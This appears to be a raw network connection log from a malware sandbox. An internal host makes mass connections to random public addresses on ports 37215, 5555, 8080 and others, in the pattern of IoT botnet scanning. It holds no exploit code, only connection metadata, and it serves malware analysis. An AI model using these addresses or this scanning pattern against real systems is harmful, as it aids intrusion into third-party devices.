Feb 12, 2023 21:24:59.220055103 CET	52981	37215	192.168.2.23	197.87.61.137
Feb 12, 2023 21:24:59.220060110 CET	52981	37215	192.168.2.23	157.54.225.89
Feb 12, 2023 21:24:59.220062017 CET	52981	37215	192.168.2.23	197.154.139.61
Feb 12, 2023 21:24:59.220077991 CET	52981	37215	192.168.2.23	111.246.34.51
Feb 12, 2023 21:24:59.220084906 CET	52981	37215	192.168.2.23	197.204.243.12
Feb 12, 2023 21:24:59.220091105 CET	52981	37215	192.168.2.23	41.191.226.239
Feb 12, 2023 21:24:59.220091105 CET	52981	37215	192.168.2.23	197.56.117.2
Feb 12, 2023 21:24:59.220096111 CET	52981	37215	192.168.2.23	197.180.249.177
Feb 12, 2023 21:24:59.220102072 CET	52981	37215	192.168.2.23	41.30.50.61
Feb 12, 2023 21:24:59.220115900 CET	52981	37215	192.168.2.23	41.208.23.140
Feb 12, 2023 21:24:59.220124960 CET	52981	37215	192.168.2.23	197.129.68.253
Feb 12, 2023 21:24:59.220132113 CET	52981	37215	192.168.2.23	41.171.191.115
Feb 12, 2023 21:24:59.220141888 CET	52981	37215	192.168.2.23	41.232.120.230
Feb 12, 2023 21:24:59.220149040 CET	52981	37215	192.168.2.23	122.125.107.192
Feb 12, 2023 21:24:59.220158100 CET	52981	37215	192.168.2.23	58.136.113.45
Feb 12, 2023 21:24:59.220159054 CET	52981	37215	192.168.2.23	164.52.114.47
Feb 12, 2023 21:24:59.220158100 CET	52981	37215	192.168.2.23	41.154.163.27
Feb 12, 2023 21:24:59.220182896 CET	52981	37215	192.168.2.23	157.164.67.87
Feb 12, 2023 21:24:59.220187902 CET	52981	37215	192.168.2.23	197.88.44.188
Feb 12, 2023 21:24:59.220205069 CET	52981	37215	192.168.2.23	157.110.30.173
Feb 12, 2023 21:24:59.220206022 CET	52981	37215	192.168.2.23	197.110.98.56
Feb 12, 2023 21:24:59.220207930 CET	52981	37215	192.168.2.23	41.60.14.181
Feb 12, 2023 21:24:59.220208883 CET	52981	37215	192.168.2.23	197.67.1.182
Feb 12, 2023 21:24:59.220217943 CET	52981	37215	192.168.2.23	41.1.8.201
Feb 12, 2023 21:24:59.220220089 CET	52981	37215	192.168.2.23	157.63.104.105
Feb 12, 2023 21:24:59.220220089 CET	52981	37215	192.168.2.23	148.159.161.86
Feb 12, 2023 21:24:59.220232964 CET	52981	37215	192.168.2.23	197.84.109.79
Feb 12, 2023 21:24:59.220232964 CET	52981	37215	192.168.2.23	197.54.50.226
Feb 12, 2023 21:24:59.220232964 CET	52981	37215	192.168.2.23	197.63.82.183
Feb 12, 2023 21:24:59.220232964 CET	52981	37215	192.168.2.23	157.211.172.159
Feb 12, 2023 21:24:59.220237017 CET	52981	37215	192.168.2.23	88.109.99.124
Feb 12, 2023 21:24:59.220237017 CET	52981	37215	192.168.2.23	197.173.147.81
Feb 12, 2023 21:24:59.220237017 CET	52981	37215	192.168.2.23	41.82.33.146
Feb 12, 2023 21:24:59.220241070 CET	52981	37215	192.168.2.23	197.154.196.117
Feb 12, 2023 21:24:59.220257998 CET	52981	37215	192.168.2.23	197.249.205.115
Feb 12, 2023 21:24:59.220262051 CET	52981	37215	192.168.2.23	157.127.51.174
Feb 12, 2023 21:24:59.220262051 CET	52981	37215	192.168.2.23	157.117.159.166
Feb 12, 2023 21:24:59.220262051 CET	52981	37215	192.168.2.23	157.95.169.210
Feb 12, 2023 21:24:59.220268011 CET	52981	37215	192.168.2.23	197.132.143.245
Feb 12, 2023 21:24:59.220269918 CET	52981	37215	192.168.2.23	25.29.26.139
Feb 12, 2023 21:24:59.220279932 CET	52981	37215	192.168.2.23	70.249.143.212
Feb 12, 2023 21:24:59.220282078 CET	52981	37215	192.168.2.23	157.253.210.25
Feb 12, 2023 21:24:59.220282078 CET	52981	37215	192.168.2.23	41.160.14.164
Feb 12, 2023 21:24:59.220289946 CET	52981	37215	192.168.2.23	41.12.89.249
Feb 12, 2023 21:24:59.220298052 CET	52981	37215	192.168.2.23	197.254.159.201
Feb 12, 2023 21:24:59.220299959 CET	52981	37215	192.168.2.23	41.151.1.16
Feb 12, 2023 21:24:59.220299959 CET	52981	37215	192.168.2.23	41.145.200.221
Feb 12, 2023 21:24:59.220299959 CET	52981	37215	192.168.2.23	41.155.148.61
Feb 12, 2023 21:24:59.220305920 CET	52981	37215	192.168.2.23	157.18.62.89
Feb 12, 2023 21:24:59.220308065 CET	52981	37215	192.168.2.23	157.23.37.147
Feb 12, 2023 21:24:59.220312119 CET	52981	37215	192.168.2.23	157.84.154.16
Feb 12, 2023 21:24:59.220326900 CET	52981	37215	192.168.2.23	197.128.175.185
Feb 12, 2023 21:24:59.220329046 CET	52981	37215	192.168.2.23	157.118.47.135
Feb 12, 2023 21:24:59.220335960 CET	52981	37215	192.168.2.23	197.76.167.243
Feb 12, 2023 21:24:59.220346928 CET	52981	37215	192.168.2.23	197.174.218.144
Feb 12, 2023 21:24:59.220359087 CET	52981	37215	192.168.2.23	41.224.195.193
Feb 12, 2023 21:24:59.220370054 CET	52981	37215	192.168.2.23	157.14.252.220
Feb 12, 2023 21:24:59.220374107 CET	52981	37215	192.168.2.23	41.66.102.219
Feb 12, 2023 21:24:59.220382929 CET	52981	37215	192.168.2.23	137.0.167.76
Feb 12, 2023 21:24:59.220386982 CET	52981	37215	192.168.2.23	157.57.103.174
Feb 12, 2023 21:24:59.220386982 CET	52981	37215	192.168.2.23	106.187.160.76
Feb 12, 2023 21:24:59.220410109 CET	52981	37215	192.168.2.23	41.12.191.136
Feb 12, 2023 21:24:59.220410109 CET	52981	37215	192.168.2.23	222.193.139.213
Feb 12, 2023 21:24:59.220417023 CET	52981	37215	192.168.2.23	119.78.82.249
Feb 12, 2023 21:24:59.220417023 CET	52981	37215	192.168.2.23	157.243.28.204
Feb 12, 2023 21:24:59.220434904 CET	52981	37215	192.168.2.23	41.208.95.220
Feb 12, 2023 21:24:59.220444918 CET	52981	37215	192.168.2.23	157.231.93.1
Feb 12, 2023 21:24:59.222852945 CET	52981	37215	192.168.2.23	41.37.232.83
Feb 12, 2023 21:24:59.277683020 CET	37215	52981	41.141.238.171	192.168.2.23
Feb 12, 2023 21:24:59.285367012 CET	5555	22272	179.92.30.48	192.168.2.23
Feb 12, 2023 21:24:59.295790911 CET	37215	52981	197.34.26.29	192.168.2.23
Feb 12, 2023 21:24:59.375296116 CET	58570	80	192.168.2.23	54.57.46.49
Feb 12, 2023 21:24:59.407306910 CET	41866	8080	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:59.407324076 CET	34386	8080	192.168.2.23	49.54.51.46
Feb 12, 2023 21:24:59.407356024 CET	35298	8080	192.168.2.23	49.54.56.46
Feb 12, 2023 21:24:59.407896996 CET	51930	8080	192.168.2.23	51.51.46.51
Feb 12, 2023 21:24:59.429023027 CET	38810	80	192.168.2.23	50.50.48.46
Feb 12, 2023 21:24:59.439167976 CET	55486	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:59.439198971 CET	43906	8080	192.168.2.23	53.50.46.50
Feb 12, 2023 21:24:59.439208031 CET	33122	8080	192.168.2.23	50.48.50.46
Feb 12, 2023 21:24:59.471301079 CET	33788	8080	192.168.2.23	50.46.54.48
Feb 12, 2023 21:24:59.471394062 CET	58524	8080	192.168.2.23	49.55.51.46
Feb 12, 2023 21:24:59.472284079 CET	60312	8080	192.168.2.23	49.57.48.46
Feb 12, 2023 21:24:59.481587887 CET	37215	52981	221.146.187.62	192.168.2.23
Feb 12, 2023 21:24:59.502790928 CET	37215	52981	197.231.163.184	192.168.2.23
Feb 12, 2023 21:24:59.503273010 CET	59110	5555	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:59.695215940 CET	37242	49152	192.168.2.23	49.50.48.46
Feb 12, 2023 21:24:59.732029915 CET	40386	81	192.168.2.23	51.56.46.49
Feb 12, 2023 21:24:59.791218042 CET	43462	37215	192.168.2.23	56.48.46.53
Feb 12, 2023 21:24:59.795145988 CET	34592	37215	192.168.2.23	49.52.53.46
Feb 12, 2023 21:24:59.795160055 CET	60566	37215	192.168.2.23	50.50.48.46
Feb 12, 2023 21:24:59.823286057 CET	33856	37215	192.168.2.23	56.48.46.49
Feb 12, 2023 21:24:59.823344946 CET	53140	37215	192.168.2.23	49.56.50.46
Feb 12, 2023 21:24:59.825485945 CET	37215	52981	197.129.68.253	192.168.2.23
Feb 12, 2023 21:24:59.962529898 CET	22272	5555	192.168.2.23	171.39.72.122
Feb 12, 2023 21:24:59.962549925 CET	22272	5555	192.168.2.23	196.67.148.46
Feb 12, 2023 21:24:59.962549925 CET	22272	5555	192.168.2.23	37.212.101.52
Feb 12, 2023 21:24:59.962578058 CET	22272	5555	192.168.2.23	212.82.158.224
Feb 12, 2023 21:24:59.962590933 CET	22272	5555	192.168.2.23	92.217.145.117
Feb 12, 2023 21:24:59.962590933 CET	22272	5555	192.168.2.23	25.14.17.13
Feb 12, 2023 21:24:59.962594032 CET	22272	5555	192.168.2.23	178.197.37.214
Feb 12, 2023 21:24:59.962625027 CET	22272	5555	192.168.2.23	105.238.50.92
Feb 12, 2023 21:24:59.962625027 CET	22272	5555	192.168.2.23	114.49.171.81
Feb 12, 2023 21:24:59.962625027 CET	22272	5555	192.168.2.23	115.151.151.2
Feb 12, 2023 21:24:59.962625027 CET	22272	5555	192.168.2.23	14.107.126.200
Feb 12, 2023 21:24:59.962629080 CET	22272	5555	192.168.2.23	208.87.110.21
Feb 12, 2023 21:24:59.962625027 CET	22272	5555	192.168.2.23	153.208.238.210
Feb 12, 2023 21:24:59.962629080 CET	22272	5555	192.168.2.23	217.40.204.158
Feb 12, 2023 21:24:59.962639093 CET	22272	5555	192.168.2.23	42.117.232.155
Feb 12, 2023 21:24:59.962641001 CET	22272	5555	192.168.2.23	221.45.36.42
Feb 12, 2023 21:24:59.962649107 CET	22272	5555	192.168.2.23	175.188.211.207
Feb 12, 2023 21:24:59.962652922 CET	22272	5555	192.168.2.23	81.145.251.153
Feb 12, 2023 21:24:59.962685108 CET	22272	5555	192.168.2.23	13.248.157.41
Feb 12, 2023 21:24:59.962719917 CET	22272	5555	192.168.2.23	111.156.199.168
Feb 12, 2023 21:24:59.962739944 CET	22272	5555	192.168.2.23	169.247.219.121
Feb 12, 2023 21:24:59.962754965 CET	22272	5555	192.168.2.23	62.229.184.218
Feb 12, 2023 21:24:59.962754965 CET	22272	5555	192.168.2.23	57.155.140.54
Feb 12, 2023 21:24:59.962780952 CET	22272	5555	192.168.2.23	101.117.122.241
Feb 12, 2023 21:24:59.962796926 CET	22272	5555	192.168.2.23	197.4.213.242
Feb 12, 2023 21:24:59.962836027 CET	22272	5555	192.168.2.23	123.88.243.186
Feb 12, 2023 21:24:59.962836027 CET	22272	5555	192.168.2.23	190.81.69.40
Feb 12, 2023 21:24:59.962857008 CET	22272	5555	192.168.2.23	107.216.151.210
Feb 12, 2023 21:24:59.962891102 CET	22272	5555	192.168.2.23	143.240.67.167
Feb 12, 2023 21:24:59.962898970 CET	22272	5555	192.168.2.23	81.27.153.134
Feb 12, 2023 21:24:59.962920904 CET	22272	5555	192.168.2.23	76.204.223.3
Feb 12, 2023 21:24:59.962973118 CET	22272	5555	192.168.2.23	152.172.189.102
Feb 12, 2023 21:24:59.962975025 CET	22272	5555	192.168.2.23	170.36.140.42
Feb 12, 2023 21:24:59.962985992 CET	22272	5555	192.168.2.23	88.148.0.169
Feb 12, 2023 21:24:59.963001013 CET	22272	5555	192.168.2.23	222.139.196.189
Feb 12, 2023 21:24:59.963031054 CET	22272	5555	192.168.2.23	38.19.127.175
Feb 12, 2023 21:24:59.963044882 CET	22272	5555	192.168.2.23	221.11.31.236
Feb 12, 2023 21:24:59.963093042 CET	22272	5555	192.168.2.23	191.69.191.106
Feb 12, 2023 21:24:59.963131905 CET	22272	5555	192.168.2.23	40.44.68.179
Feb 12, 2023 21:24:59.963164091 CET	22272	5555	192.168.2.23	90.195.213.232
Feb 12, 2023 21:24:59.963171005 CET	22272	5555	192.168.2.23	108.4.207.249
Feb 12, 2023 21:24:59.963207006 CET	22272	5555	192.168.2.23	41.96.67.189
Feb 12, 2023 21:24:59.963234901 CET	22272	5555	192.168.2.23	197.159.17.183
Feb 12, 2023 21:24:59.963279009 CET	22272	5555	192.168.2.23	123.83.220.50
Feb 12, 2023 21:24:59.963290930 CET	22272	5555	192.168.2.23	82.218.122.224
Feb 12, 2023 21:24:59.963323116 CET	22272	5555	192.168.2.23	176.115.184.33
Feb 12, 2023 21:24:59.963335991 CET	22272	5555	192.168.2.23	90.194.7.37
Feb 12, 2023 21:24:59.963351011 CET	22272	5555	192.168.2.23	73.49.144.249
Feb 12, 2023 21:24:59.963366032 CET	22272	5555	192.168.2.23	134.213.55.193
Feb 12, 2023 21:24:59.963402033 CET	22272	5555	192.168.2.23	168.50.133.29
Feb 12, 2023 21:24:59.963402033 CET	22272	5555	192.168.2.23	79.186.0.118
Feb 12, 2023 21:24:59.963428974 CET	22272	5555	192.168.2.23	38.160.117.29
Feb 12, 2023 21:24:59.963450909 CET	22272	5555	192.168.2.23	2.60.55.65
Feb 12, 2023 21:24:59.963475943 CET	22272	5555	192.168.2.23	52.220.120.213
Feb 12, 2023 21:24:59.963505983 CET	22272	5555	192.168.2.23	158.167.211.50
Feb 12, 2023 21:24:59.963527918 CET	22272	5555	192.168.2.23	140.123.77.169
Feb 12, 2023 21:24:59.963543892 CET	22272	5555	192.168.2.23	81.14.46.20
Feb 12, 2023 21:24:59.963574886 CET	22272	5555	192.168.2.23	96.154.53.241
Feb 12, 2023 21:24:59.963620901 CET	22272	5555	192.168.2.23	2.123.84.24
Feb 12, 2023 21:24:59.963635921 CET	22272	5555	192.168.2.23	20.69.170.221
Feb 12, 2023 21:24:59.963669062 CET	22272	5555	192.168.2.23	39.246.60.95
Feb 12, 2023 21:24:59.963701963 CET	22272	5555	192.168.2.23	159.17.220.50
Feb 12, 2023 21:24:59.963726044 CET	22272	5555	192.168.2.23	43.61.218.214
Feb 12, 2023 21:24:59.963747025 CET	22272	5555	192.168.2.23	143.126.131.72
Feb 12, 2023 21:24:59.963766098 CET	22272	5555	192.168.2.23	83.13.193.157
Feb 12, 2023 21:24:59.963800907 CET	22272	5555	192.168.2.23	97.171.169.72
Feb 12, 2023 21:24:59.963825941 CET	22272	5555	192.168.2.23	151.115.83.15
Feb 12, 2023 21:24:59.963848114 CET	22272	5555	192.168.2.23	86.239.34.107
Feb 12, 2023 21:24:59.963860035 CET	22272	5555	192.168.2.23	18.249.19.6
Feb 12, 2023 21:24:59.963876009 CET	22272	5555	192.168.2.23	147.147.23.203
Feb 12, 2023 21:24:59.963891983 CET	22272	5555	192.168.2.23	137.165.168.37
Feb 12, 2023 21:24:59.963918924 CET	22272	5555	192.168.2.23	190.4.15.50
Feb 12, 2023 21:24:59.963928938 CET	22272	5555	192.168.2.23	103.25.131.26
Feb 12, 2023 21:24:59.963968992 CET	22272	5555	192.168.2.23	147.137.65.67
Feb 12, 2023 21:24:59.963973045 CET	22272	5555	192.168.2.23	220.15.149.226
Feb 12, 2023 21:24:59.964004040 CET	22272	5555	192.168.2.23	211.147.25.178
Feb 12, 2023 21:24:59.964004040 CET	22272	5555	192.168.2.23	50.195.119.240
Feb 12, 2023 21:24:59.964034081 CET	22272	5555	192.168.2.23	111.215.115.175
Feb 12, 2023 21:24:59.964034081 CET	22272	5555	192.168.2.23	2.64.124.228
Feb 12, 2023 21:24:59.964066029 CET	22272	5555	192.168.2.23	85.192.128.86
Feb 12, 2023 21:24:59.964067936 CET	22272	5555	192.168.2.23	45.208.174.25
Feb 12, 2023 21:24:59.964097023 CET	22272	5555	192.168.2.23	64.118.244.227
Feb 12, 2023 21:24:59.964102983 CET	22272	5555	192.168.2.23	149.9.36.52
Feb 12, 2023 21:24:59.964142084 CET	22272	5555	192.168.2.23	202.48.99.124
Feb 12, 2023 21:24:59.964148045 CET	22272	5555	192.168.2.23	93.225.31.152
Feb 12, 2023 21:24:59.964162111 CET	22272	5555	192.168.2.23	97.247.126.205
Feb 12, 2023 21:24:59.964183092 CET	22272	5555	192.168.2.23	181.8.23.115
Feb 12, 2023 21:24:59.964183092 CET	22272	5555	192.168.2.23	173.244.101.184
Feb 12, 2023 21:24:59.964183092 CET	22272	5555	192.168.2.23	66.121.105.180
Feb 12, 2023 21:24:59.964183092 CET	22272	5555	192.168.2.23	67.208.185.48
Feb 12, 2023 21:24:59.964183092 CET	22272	5555	192.168.2.23	206.177.45.4
Feb 12, 2023 21:24:59.964183092 CET	22272	5555	192.168.2.23	121.75.170.177
Feb 12, 2023 21:24:59.964183092 CET	22272	5555	192.168.2.23	68.136.154.82
Feb 12, 2023 21:24:59.964184046 CET	22272	5555	192.168.2.23	41.236.65.71
Feb 12, 2023 21:24:59.964219093 CET	22272	5555	192.168.2.23	54.5.125.61
Feb 12, 2023 21:24:59.964236021 CET	22272	5555	192.168.2.23	196.12.65.92
Feb 12, 2023 21:24:59.964261055 CET	22272	5555	192.168.2.23	45.104.174.159
Feb 12, 2023 21:24:59.964263916 CET	22272	5555	192.168.2.23	119.24.255.17
Feb 12, 2023 21:24:59.964320898 CET	22272	5555	192.168.2.23	107.209.154.127
Feb 12, 2023 21:24:59.964320898 CET	22272	5555	192.168.2.23	202.182.82.91
Feb 12, 2023 21:24:59.964320898 CET	22272	5555	192.168.2.23	81.17.191.56
Feb 12, 2023 21:24:59.964320898 CET	22272	5555	192.168.2.23	193.191.73.230
Feb 12, 2023 21:24:59.964320898 CET	22272	5555	192.168.2.23	90.151.25.149
Feb 12, 2023 21:24:59.964320898 CET	22272	5555	192.168.2.23	170.1.226.203
Feb 12, 2023 21:24:59.964330912 CET	22272	5555	192.168.2.23	150.167.71.7
Feb 12, 2023 21:24:59.964350939 CET	22272	5555	192.168.2.23	135.154.48.139
Feb 12, 2023 21:24:59.964395046 CET	22272	5555	192.168.2.23	64.66.124.254
Feb 12, 2023 21:24:59.964395046 CET	22272	5555	192.168.2.23	46.18.226.199
Feb 12, 2023 21:24:59.964410067 CET	22272	5555	192.168.2.23	31.168.227.207
Feb 12, 2023 21:24:59.964410067 CET	22272	5555	192.168.2.23	203.95.161.92
Feb 12, 2023 21:24:59.964426041 CET	22272	5555	192.168.2.23	111.169.2.1
Feb 12, 2023 21:24:59.964437008 CET	22272	5555	192.168.2.23	159.190.143.111
Feb 12, 2023 21:24:59.964466095 CET	22272	5555	192.168.2.23	106.116.69.3
Feb 12, 2023 21:24:59.964473009 CET	22272	5555	192.168.2.23	133.243.178.117
Feb 12, 2023 21:24:59.964497089 CET	22272	5555	192.168.2.23	66.41.109.14
Feb 12, 2023 21:24:59.964518070 CET	22272	5555	192.168.2.23	151.92.158.213
Feb 12, 2023 21:24:59.964531898 CET	22272	5555	192.168.2.23	31.224.252.213
Feb 12, 2023 21:24:59.964567900 CET	22272	5555	192.168.2.23	189.120.12.16
Feb 12, 2023 21:24:59.964584112 CET	22272	5555	192.168.2.23	76.27.106.119
Feb 12, 2023 21:24:59.964598894 CET	22272	5555	192.168.2.23	152.197.56.188
Feb 12, 2023 21:24:59.964665890 CET	22272	5555	192.168.2.23	125.88.99.105
Feb 12, 2023 21:24:59.964665890 CET	22272	5555	192.168.2.23	206.146.101.35
Feb 12, 2023 21:24:59.964667082 CET	22272	5555	192.168.2.23	174.211.48.68
Feb 12, 2023 21:24:59.964689970 CET	22272	5555	192.168.2.23	67.218.109.136
Feb 12, 2023 21:24:59.964689970 CET	22272	5555	192.168.2.23	42.36.13.237
Feb 12, 2023 21:24:59.964689970 CET	22272	5555	192.168.2.23	194.12.165.34
Feb 12, 2023 21:24:59.964689970 CET	22272	5555	192.168.2.23	151.203.105.188
Feb 12, 2023 21:24:59.964694023 CET	22272	5555	192.168.2.23	177.255.227.6
Feb 12, 2023 21:24:59.964693069 CET	22272	5555	192.168.2.23	62.252.139.203
Feb 12, 2023 21:24:59.964694023 CET	22272	5555	192.168.2.23	34.193.250.83
Feb 12, 2023 21:24:59.964693069 CET	22272	5555	192.168.2.23	129.250.110.149
Feb 12, 2023 21:24:59.964693069 CET	22272	5555	192.168.2.23	201.21.16.127
Feb 12, 2023 21:24:59.964709997 CET	22272	5555	192.168.2.23	90.69.79.183
Feb 12, 2023 21:24:59.964709997 CET	22272	5555	192.168.2.23	85.102.129.203
Feb 12, 2023 21:24:59.964721918 CET	22272	5555	192.168.2.23	208.44.243.225
Feb 12, 2023 21:24:59.964747906 CET	22272	5555	192.168.2.23	109.203.209.107
Feb 12, 2023 21:24:59.964747906 CET	22272	5555	192.168.2.23	199.103.152.14
Feb 12, 2023 21:24:59.964772940 CET	22272	5555	192.168.2.23	179.29.153.88
Feb 12, 2023 21:24:59.964777946 CET	22272	5555	192.168.2.23	192.221.119.75
Feb 12, 2023 21:24:59.964776993 CET	22272	5555	192.168.2.23	189.38.202.17
Feb 12, 2023 21:24:59.964781046 CET	22272	5555	192.168.2.23	121.203.116.3
Feb 12, 2023 21:24:59.964781046 CET	22272	5555	192.168.2.23	62.74.98.202
Feb 12, 2023 21:24:59.964782000 CET	22272	5555	192.168.2.23	194.124.76.26
Feb 12, 2023 21:24:59.964776993 CET	22272	5555	192.168.2.23	124.73.166.233
Feb 12, 2023 21:24:59.964786053 CET	22272	5555	192.168.2.23	76.182.107.135
Feb 12, 2023 21:24:59.964797020 CET	22272	5555	192.168.2.23	130.122.5.99
Feb 12, 2023 21:24:59.964812040 CET	22272	5555	192.168.2.23	2.245.157.206
Feb 12, 2023 21:24:59.964826107 CET	22272	5555	192.168.2.23	27.228.102.184
Feb 12, 2023 21:24:59.964827061 CET	22272	5555	192.168.2.23	211.156.124.22
Feb 12, 2023 21:24:59.964871883 CET	22272	5555	192.168.2.23	25.15.106.37
Feb 12, 2023 21:24:59.964916945 CET	22272	5555	192.168.2.23	59.102.45.121
Feb 12, 2023 21:24:59.964920044 CET	22272	5555	192.168.2.23	221.211.156.106
Feb 12, 2023 21:24:59.964950085 CET	22272	5555	192.168.2.23	222.141.141.114
Feb 12, 2023 21:24:59.964920044 CET	22272	5555	192.168.2.23	161.232.224.70
Feb 12, 2023 21:24:59.964963913 CET	22272	5555	192.168.2.23	45.231.136.21
Feb 12, 2023 21:24:59.964993954 CET	22272	5555	192.168.2.23	128.144.1.143
Feb 12, 2023 21:24:59.964997053 CET	22272	5555	192.168.2.23	142.54.22.118
Feb 12, 2023 21:24:59.964993954 CET	22272	5555	192.168.2.23	133.155.200.69
Feb 12, 2023 21:24:59.964993954 CET	22272	5555	192.168.2.23	117.100.75.162
Feb 12, 2023 21:24:59.965034962 CET	22272	5555	192.168.2.23	170.225.51.139
Feb 12, 2023 21:24:59.983227015 CET	60080	8080	192.168.2.23	49.50.48.46
Feb 12, 2023 21:25:00.015239954 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:25:00.038670063 CET	43318	80	192.168.2.23	51.56.46.49
Feb 12, 2023 21:25:00.055627108 CET	5555	22272	88.148.0.169	192.168.2.23
Feb 12, 2023 21:25:00.075329065 CET	5555	22272	64.66.124.254	192.168.2.23
Feb 12, 2023 21:25:00.090960979 CET	5555	22272	150.167.71.7	192.168.2.23
Feb 12, 2023 21:25:00.113409996 CET	5555	22272	34.193.250.83	192.168.2.23
Feb 12, 2023 21:25:00.133223057 CET	5555	22272	103.25.131.26	192.168.2.23
Feb 12, 2023 21:25:00.134289026 CET	5555	22272	67.218.109.136	192.168.2.23
Feb 12, 2023 21:25:00.143246889 CET	54920	7574	192.168.2.23	50.50.48.46
Feb 12, 2023 21:25:00.221735001 CET	52981	37215	192.168.2.23	157.77.207.145
Feb 12, 2023 21:25:00.221744061 CET	52981	37215	192.168.2.23	197.109.149.249
Feb 12, 2023 21:25:00.221744061 CET	52981	37215	192.168.2.23	140.82.172.16
Feb 12, 2023 21:25:00.221745014 CET	52981	37215	192.168.2.23	197.64.4.123
Feb 12, 2023 21:25:00.221744061 CET	52981	37215	192.168.2.23	157.15.22.205
Feb 12, 2023 21:25:00.221744061 CET	52981	37215	192.168.2.23	197.78.9.53
Feb 12, 2023 21:25:00.221764088 CET	52981	37215	192.168.2.23	157.54.120.105
Feb 12, 2023 21:25:00.221769094 CET	52981	37215	192.168.2.23	157.73.62.3
Feb 12, 2023 21:25:00.221769094 CET	52981	37215	192.168.2.23	121.5.97.157
Feb 12, 2023 21:25:00.221791029 CET	52981	37215	192.168.2.23	41.135.66.0
Feb 12, 2023 21:25:00.221791029 CET	52981	37215	192.168.2.23	133.96.234.147
Feb 12, 2023 21:25:00.221791029 CET	52981	37215	192.168.2.23	41.234.29.186
Feb 12, 2023 21:25:00.221807003 CET	52981	37215	192.168.2.23	41.60.163.50
Feb 12, 2023 21:25:00.221816063 CET	52981	37215	192.168.2.23	41.253.50.222
Feb 12, 2023 21:25:00.221817017 CET	52981	37215	192.168.2.23	157.204.96.156
Feb 12, 2023 21:25:00.221817017 CET	52981	37215	192.168.2.23	197.97.147.242
Feb 12, 2023 21:25:00.221837997 CET	52981	37215	192.168.2.23	157.115.66.236
Feb 12, 2023 21:25:00.221843958 CET	52981	37215	192.168.2.23	204.227.241.179
Feb 12, 2023 21:25:00.221874952 CET	52981	37215	192.168.2.23	41.211.133.47
Feb 12, 2023 21:25:00.221874952 CET	52981	37215	192.168.2.23	197.203.88.249
Feb 12, 2023 21:25:00.221874952 CET	52981	37215	192.168.2.23	197.35.200.126
Feb 12, 2023 21:25:00.221877098 CET	52981	37215	192.168.2.23	86.205.28.221
Feb 12, 2023 21:25:00.221877098 CET	52981	37215	192.168.2.23	197.146.255.211
Feb 12, 2023 21:25:00.221880913 CET	52981	37215	192.168.2.23	41.135.17.220
Feb 12, 2023 21:25:00.221883059 CET	52981	37215	192.168.2.23	157.242.108.151
Feb 12, 2023 21:25:00.221882105 CET	52981	37215	192.168.2.23	39.176.156.203
Feb 12, 2023 21:25:00.221880913 CET	52981	37215	192.168.2.23	157.41.24.162
Feb 12, 2023 21:25:00.221882105 CET	52981	37215	192.168.2.23	157.144.20.220
Feb 12, 2023 21:25:00.221885920 CET	52981	37215	192.168.2.23	157.79.17.113
Feb 12, 2023 21:25:00.221889019 CET	52981	37215	192.168.2.23	41.213.227.144
Feb 12, 2023 21:25:00.221949100 CET	52981	37215	192.168.2.23	134.216.243.59
Feb 12, 2023 21:25:00.221954107 CET	52981	37215	192.168.2.23	41.224.194.111
Feb 12, 2023 21:25:00.221971035 CET	52981	37215	192.168.2.23	157.205.87.232
Feb 12, 2023 21:25:00.221973896 CET	52981	37215	192.168.2.23	197.59.232.19
Feb 12, 2023 21:25:00.221982956 CET	52981	37215	192.168.2.23	157.142.136.250
Feb 12, 2023 21:25:00.221988916 CET	52981	37215	192.168.2.23	197.42.249.59
Feb 12, 2023 21:25:00.222007036 CET	52981	37215	192.168.2.23	157.117.101.78
Feb 12, 2023 21:25:00.222002983 CET	52981	37215	192.168.2.23	170.222.187.196
Feb 12, 2023 21:25:00.222038031 CET	52981	37215	192.168.2.23	157.46.87.82
Feb 12, 2023 21:25:00.222038031 CET	52981	37215	192.168.2.23	121.4.96.14
Feb 12, 2023 21:25:00.222057104 CET	52981	37215	192.168.2.23	143.254.169.35
Feb 12, 2023 21:25:00.222058058 CET	52981	37215	192.168.2.23	197.83.26.221
Feb 12, 2023 21:25:00.222094059 CET	52981	37215	192.168.2.23	197.102.116.100
Feb 12, 2023 21:25:00.222094059 CET	52981	37215	192.168.2.23	157.203.254.75
Feb 12, 2023 21:25:00.222094059 CET	52981	37215	192.168.2.23	165.126.215.11
Feb 12, 2023 21:25:00.222094059 CET	52981	37215	192.168.2.23	171.80.123.221
Feb 12, 2023 21:25:00.222101927 CET	52981	37215	192.168.2.23	41.224.216.66
Feb 12, 2023 21:25:00.222110987 CET	52981	37215	192.168.2.23	74.36.49.53
Feb 12, 2023 21:25:00.222132921 CET	52981	37215	192.168.2.23	80.49.110.227
Feb 12, 2023 21:25:00.222134113 CET	52981	37215	192.168.2.23	197.133.143.11
Feb 12, 2023 21:25:00.222158909 CET	52981	37215	192.168.2.23	41.79.110.208
Feb 12, 2023 21:25:00.222170115 CET	52981	37215	192.168.2.23	157.247.160.49
Feb 12, 2023 21:25:00.222171068 CET	52981	37215	192.168.2.23	41.241.90.166
Feb 12, 2023 21:25:00.222171068 CET	52981	37215	192.168.2.23	165.163.11.243
Feb 12, 2023 21:25:00.222187996 CET	52981	37215	192.168.2.23	58.55.108.133
Feb 12, 2023 21:25:00.222196102 CET	52981	37215	192.168.2.23	163.48.75.59
Feb 12, 2023 21:25:00.222198009 CET	52981	37215	192.168.2.23	197.167.163.224
Feb 12, 2023 21:25:00.222209930 CET	52981	37215	192.168.2.23	200.58.50.67
Feb 12, 2023 21:25:00.222210884 CET	52981	37215	192.168.2.23	157.134.174.66
Feb 12, 2023 21:25:00.222215891 CET	52981	37215	192.168.2.23	44.168.140.243
Feb 12, 2023 21:25:00.222238064 CET	52981	37215	192.168.2.23	27.6.57.86
Feb 12, 2023 21:25:00.222249031 CET	52981	37215	192.168.2.23	157.188.231.45
Feb 12, 2023 21:25:00.222242117 CET	52981	37215	192.168.2.23	113.195.160.92
Feb 12, 2023 21:25:00.222242117 CET	52981	37215	192.168.2.23	222.188.27.130
Feb 12, 2023 21:25:00.222242117 CET	52981	37215	192.168.2.23	157.94.114.108
Feb 12, 2023 21:25:00.222264051 CET	52981	37215	192.168.2.23	197.227.28.205
Feb 12, 2023 21:25:00.222242117 CET	52981	37215	192.168.2.23	157.186.169.151
Feb 12, 2023 21:25:00.222242117 CET	52981	37215	192.168.2.23	197.213.9.175
Feb 12, 2023 21:25:00.222242117 CET	52981	37215	192.168.2.23	207.46.200.238
